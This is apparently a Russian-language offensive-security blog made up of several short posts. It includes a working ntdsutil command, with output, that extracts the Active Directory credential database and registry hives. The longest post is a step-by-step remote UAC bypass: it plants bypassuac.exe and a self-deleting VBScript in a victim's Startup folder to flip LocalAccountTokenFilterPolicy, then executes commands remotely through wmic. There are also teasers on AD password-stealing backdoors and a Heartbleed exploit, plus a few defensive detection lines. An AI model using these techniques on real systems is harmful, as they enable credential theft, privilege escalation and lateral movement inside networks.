[hacking tricks] Easy way to get a ntds.dit

Все секреты Active Directory как известно хранятся в одном единственном файлике NTDS.DIT, который представляет из себя специально разработанную компанией Microsoft базу данных. Для получения копии этой базы варварским способом может использоваться механизм  теневых копий. Почему варварским? Да потому, что в момент создания теневой копии в базе могут выполняться различные транзакции, что несколько повлияет на целостность полученной копии. Но начиная с Windows 2008 корпорация добра расширила возможности утилиты Ntdsutil, что позволяет стащить базу NTDS.DIT с работающей системы не повредив ее при этом. Раньше применение утилиты Ntdsutil ограничивалось режимом восстановления контроллера домена.

Спасибо за находку @obscuresec!!

C:\Windows\System32>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Windows\system32>ntdsutil "ac in ntds" "ifm" "cr fu c:\Windows\Temp\abc" q q

ntdsutil: ac in ntds
Активный экземпляр - "ntds".
ntdsutil: ifm
IFM: cr fu c:\Windows\Temp\abc
Создание снимка...
Успешно создан набор снимков {8d6cf811-ccd4-4dbe-9190-b911bb96196a}.
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} установлен как C:\$SNAP_2014041214
02_VOLUMEC$\
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} уже подключен.
Запуск режима ДЕФРАГМЕНТАЦИИ...
Исходная база данных: C:\$SNAP_201404121402_VOLUMEC$\Windows\NTDS\ntds.dit
Конечная база данных: c:\Windows\Temp\abc\Active Directory\ntds.dit

Defragmentation Status (% complete)

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Копирование файлов реестра...
Копирование c:\Windows\Temp\abc\registry\SYSTEM
Копирование c:\Windows\Temp\abc\registry\SECURITY
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} отключен.
Носитель IFM успешно создан в c:\Windows\Temp\abc
IFM: q
ntdsutil: q

C:\Windows\system32>

Binary backdoor in Active Directory :: Stealing passwords

До сегодняшнего дня я писал только про бэкдоры в AD на уровне приложения [1, 2, 3, 4, 5]. Подобные закладки интересны в первую очередь тем, что они имеют высокую степень живучести за счет того, что присутствуют в реплике Active Directory. Такие закладки могут пережить даже смутные времена disaster recovery, после признания админами факта компрометации AD. Но обладая привилегиями системы на контроллерах домена, появляются иные способы сохранить свое незримое присутствие не доводя админов до белого колена. Одному из таких способов и посвящена данная публикация.

CVE-2014-0160 Рабочий сплоит

Этот эксплоит сделал мой день 8)) 



Heartbleed Honeypot Script: http://packetstormsecurity.com/files/126068
Detect heartbleed attacks with tshark [1]: tshark -i eth0 -R "ssl.record.content_type eq 24 and not ssl.heartbeat_message.type"


Search for processes still using old OpenSSL #heartbleed : grep -l 'libssl.*deleted' /proc/*/maps | tr -cd 0-9\\n | xargs -r ps u

Ссылки:

[hacking tricks] LocalAccountTokenFilterPolicy bypass

Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование удаленного ограничения UAC.  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:\Users", содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками Leo Davidson, которые затем переконтовали в удобную консольную тулу [забрать]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:\Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Системная ошибка 5.
Отказано в доступе.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:\Temp>net use \\RHOST\ipc$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>net view \\RHOST /all
Общие ресурсы на \\RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:\Temp>dir \\RHOST\Users
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:\Temp>dir "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:\Temp>copy /Y bypassuac.exe \\RHOST\Users\admin\AppData\Local\Temp\
Скопировано файлов:         1.

C:\Temp>type logon.vbs
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\Users\admin\AppData\Local\Temp\bypassuac.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\bypassuac.exe",true
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\tior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:\Temp>copy /Y logon.vbs "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Wi
ndows\Start Menu\Programs\Startup\"
Скопировано файлов:         1.

C:\Temp>net use \\RHOST\ipc$ /del
\\RHOST\ipc$ успешно удален.

C:\Temp> /* WAIT WAIT
C:\Temp> /* logoff/login user */
C:\Temp> WAIT */

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:\Temp>

[hacking tricks] Exec via RPC with output

Иногда бывают такие ситуации, когда на удаленном хосте под управлением операционной системы Windows (выше 9x)) файрволом прикрыты все управляющие порты (SMB, WinRM, RDP, etc) кроме 135/tcp RPC. И вот вроде бы и нужные права имеются, и даже удаленный exec отрабатывает, но ходишь вокруг такой машины, как слепой котенок, облизываешься, в надежде, что msf multi/handler выдаст заветное приглашение. Пора прозреть!


Предлагаемый мною способ прост как две копейки и основан на возможности работы с реестром через WMI (к слову, служба удаленного реестра тут не используется). Пруф ниже.

ЗЫ:  концепт схож с подходом, используемым парнями из DSEC при выполнении команд через Quick Console в Lotus Domino.